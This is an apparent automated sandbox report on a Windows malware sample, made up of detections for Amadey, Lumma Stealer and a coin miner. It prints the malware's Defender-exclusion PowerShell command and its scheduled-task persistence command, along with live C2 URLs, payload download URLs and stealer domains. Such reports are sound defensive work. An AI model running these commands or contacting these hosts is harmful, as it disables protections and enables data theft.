48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Click to see the 18 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe, ParentProcessId: 6972, ParentProcessName: kf5cl0F.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo", ProcessId: 6208, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 6400, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 5968, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe, ParentProcessId: 6972, ParentProcessName: kf5cl0F.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo", ProcessId: 6208, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:29:04.728850+0100	2028371	3	Unknown Traffic	192.168.2.5	49822	104.21.66.85	443	TCP
2024-12-18T21:30:22.807839+0100	2028371	3	Unknown Traffic	192.168.2.5	49805	172.67.180.113	443	TCP
2024-12-18T21:30:28.076743+0100	2028371	3	Unknown Traffic	192.168.2.5	49810	172.67.180.113	443	TCP
2024-12-18T21:30:31.105612+0100	2028371	3	Unknown Traffic	192.168.2.5	49811	172.67.180.113	443	TCP
2024-12-18T21:30:31.501303+0100	2028371	3	Unknown Traffic	192.168.2.5	49812	104.21.66.85	443	TCP
2024-12-18T21:30:33.474320+0100	2028371	3	Unknown Traffic	192.168.2.5	49813	172.67.180.113	443	TCP
2024-12-18T21:30:33.544956+0100	2028371	3	Unknown Traffic	192.168.2.5	49814	104.21.66.85	443	TCP
2024-12-18T21:30:36.039333+0100	2028371	3	Unknown Traffic	192.168.2.5	49816	172.67.180.113	443	TCP
2024-12-18T21:30:38.856335+0100	2028371	3	Unknown Traffic	192.168.2.5	49817	172.67.180.113	443	TCP
2024-12-18T21:30:39.250079+0100	2028371	3	Unknown Traffic	192.168.2.5	49818	104.21.66.85	443	TCP
2024-12-18T21:30:41.494093+0100	2028371	3	Unknown Traffic	192.168.2.5	49820	172.67.180.113	443	TCP
2024-12-18T21:30:42.506966+0100	2028371	3	Unknown Traffic	192.168.2.5	49821	104.21.66.85	443	TCP
2024-12-18T21:30:45.213698+0100	2028371	3	Unknown Traffic	192.168.2.5	49824	172.67.180.113	443	TCP
2024-12-18T21:30:48.475370+0100	2028371	3	Unknown Traffic	192.168.2.5	49825	104.21.66.85	443	TCP
2024-12-18T21:30:51.122902+0100	2028371	3	Unknown Traffic	192.168.2.5	49826	104.21.66.85	443	TCP
2024-12-18T21:30:56.289695+0100	2028371	3	Unknown Traffic	192.168.2.5	49830	104.21.66.85	443	TCP
2024-12-18T21:31:03.130355+0100	2028371	3	Unknown Traffic	192.168.2.5	49832	104.21.67.146	443	TCP

ET MALWARE Amadey Bot Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:31:19.782817+0100	2044623	1	A Network Trojan was detected	192.168.2.5	49836	185.215.113.43	80	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:30:26.833985+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49805	172.67.180.113	443	TCP
2024-12-18T21:30:29.277222+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49810	172.67.180.113	443	TCP
2024-12-18T21:30:32.288463+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49812	104.21.66.85	443	TCP
2024-12-18T21:30:34.287890+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49814	104.21.66.85	443	TCP
2024-12-18T21:31:00.450303+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49830	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:30:26.833985+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49805	172.67.180.113	443	TCP
2024-12-18T21:30:32.288463+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49812	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:30:29.277222+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49810	172.67.180.113	443	TCP
2024-12-18T21:30:34.287890+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49814	104.21.66.85	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:29:04.728850+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.5	49822	104.21.66.85	443	TCP
2024-12-18T21:30:31.501303+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.5	49812	104.21.66.85	443	TCP
2024-12-18T21:30:33.544956+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.5	49814	104.21.66.85	443	TCP
2024-12-18T21:30:39.250079+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.5	49818	104.21.66.85	443	TCP
2024-12-18T21:30:42.506966+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.5	49821	104.21.66.85	443	TCP
2024-12-18T21:30:45.549675+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.5	49823	104.21.66.85	443	TCP
2024-12-18T21:30:48.475370+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.5	49825	104.21.66.85	443	TCP
2024-12-18T21:30:51.122902+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.5	49826	104.21.66.85	443	TCP
2024-12-18T21:30:56.289695+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.5	49830	104.21.66.85	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:29:04.728850+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49815	185.215.113.43	80	TCP
2024-12-18T21:30:14.568584+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49803	185.215.113.43	80	TCP
2024-12-18T21:30:23.081302+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49806	185.215.113.43	80	TCP
2024-12-18T21:30:54.712467+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49828	185.215.113.43	80	TCP
2024-12-18T21:31:03.072644+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49831	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:30:29.683452+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.5	64834	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:30:34.466679+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49813	172.67.180.113	443	TCP
2024-12-18T21:30:51.127540+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49826	104.21.66.85	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:30:05.999771+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49788	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:30:13.209274+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49801	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:29:04.728850+0100	2803305	3	Unknown Traffic	192.168.2.5	49833	31.41.244.11	80	TCP
2024-12-18T21:30:10.730653+0100	2803305	3	Unknown Traffic	192.168.2.5	49802	31.41.244.11	80	TCP
2024-12-18T21:30:16.087271+0100	2803305	3	Unknown Traffic	192.168.2.5	49804	31.41.244.11	80	TCP
2024-12-18T21:30:24.530757+0100	2803305	3	Unknown Traffic	192.168.2.5	49808	31.41.244.11	80	TCP
2024-12-18T21:30:40.637397+0100	2803305	3	Unknown Traffic	192.168.2.5	49819	31.41.244.11	80	TCP
2024-12-18T21:30:56.199290+0100	2803305	3	Unknown Traffic	192.168.2.5	49829	31.41.244.11	80	TCP
2024-12-18T21:31:05.806528+0100	2803305	3	Unknown Traffic	192.168.2.5	49834	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpxe1	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/5856379169/kf5cl0F.exe	Avira URL Cloud: Label: phishing
Source: https://aspecteirs.lat/y5	Avira URL Cloud: Label: malware
Source: https://aspecteirs.lat/apip	Avira URL Cloud: Label: malware
Source: https://aspecteirs.lat/apicked	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpxe:	Avira URL Cloud: Label: malware
Source: https://aspecteirs.lat/api	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/geopoxid/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpxeR	Avira URL Cloud: Label: malware
Source: https://aspecteirs.lat/9	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/7133490529/ANEDNjf.exe	Avira URL Cloud: Label: phishing
Source: https://aspecteirs.lat/Gy0j	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\ANEDNjf[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 01b80870ed45442fb720b666633425f9.exe.5864.14.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["sustainskelet.lat", "energyaffai.lat", "crosshuaht.lat", "discokeyus.lat", "rapeflowwj.lat", "grannyejh.lat", "aspecteirs.lat", "necklacebudi.lat"], "Build id": "CVmr0t--installs"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\ANEDNjf[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\FutureApp\0\Setup.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\FutureApp\2\2.exe	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\ANEDNjf[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\kf5cl0F[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000031.00000002.3191260384.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.3191376969.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2989752877.0000000001165000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2989752877.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2989752877.0000000001127000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.3190515913.0000000000B16000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2991806945.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.3190515913.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.3190515913.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000003.3186134550.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2990997382.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 2316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 1244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5848, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49823 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.5:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49832 version: TLS 1.2

Source:	Binary string: D:\apreltech\sib\Sibl\Release\Sibuia.pdb source: Sibuia.exe, 0000002C.00000002.3099779712.0000000000739000.00000002.00000001.01000000.00000016.sdmp, Sibuia.exe, 0000002C.00000000.3078840002.0000000000739000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\apreltech\sib\Sibl\SibClr\obj\Release\SibClr.pdb source: Sibjs.exe, 0000002E.00000002.3094008503.00000000115A2000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000005.00000002.3352179189.0000000001237000.00000004.00000020.00020000.00000000.sdmp, kf5cl0F.exe, 00000006.00000000.2672731249.0000000000632000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\apreltech\sib\Sibl\Release\SibJS.pdb source: Sibjs.exe, 0000002E.00000002.3084009169.0000000000F1F000.00000002.00000001.01000000.00000017.sdmp, Sibjs.exe, 0000002E.00000000.3081210732.0000000000F1F000.00000002.00000001.01000000.00000017.sdmp

Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: number of queries: 1001
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: number of queries: 1001

Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\CEF
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Publishers
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Packages
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Mozilla
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Comms

Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe

Code function: 4x nop then jmp 00EC35DFh

6_2_00EC326A

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49788 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49803 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49801
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49806 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.5:64834 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:49812 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:49814 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:49818 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:49821 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:49823 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:49825 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49828 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:49830 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:49826 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49831 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.5:49836 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49815 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:49822 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49814 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49814 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49830 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49826 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49805 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49805 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49812 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49812 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49813 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49810 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49810 -> 172.67.180.113:443

C2 URLs / IPs found in malware configuration

